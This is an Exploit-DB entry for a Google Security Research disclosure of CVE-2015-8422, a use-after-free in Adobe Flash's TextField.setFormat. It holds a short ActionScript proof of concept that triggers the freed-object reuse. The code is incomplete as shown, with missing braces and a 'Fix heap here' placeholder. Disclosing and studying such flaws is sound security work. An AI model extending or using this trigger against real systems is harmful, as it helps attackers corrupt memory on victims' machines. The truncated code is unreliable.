Adobe Flash TextField.setFormat - Use-After-Free

ID EDB-ID:39046
Type exploitdb
Reporter Google Security Research
Modified 2015-12-18T00:00:00


Adobe Flash TextField.setFormat - Use-After-Free. CVE-2015-8422. Dos exploit for windows platform


The TextField setFormat method contains a use-after-free. If an integer parameter has valueOf defined, or the object parameter overrides a constructor, this method can free the TextField parent, which is subsequently used.

A minimal PoC is as follows:

var times = 0;
var mc = this.createEmptyMovieClip("mc", 101);
var tf = mc.createTextField("tf", 102, 1, 1, 100, 100);
var f = new TextFormat();
tf.setFormat( {valueOf : func}, 2, f);

function func(){

        if(times == 0){
             return 0;



        // Fix heap here

	return 0;

A sample swf and fla are attached.

Proof of Concept: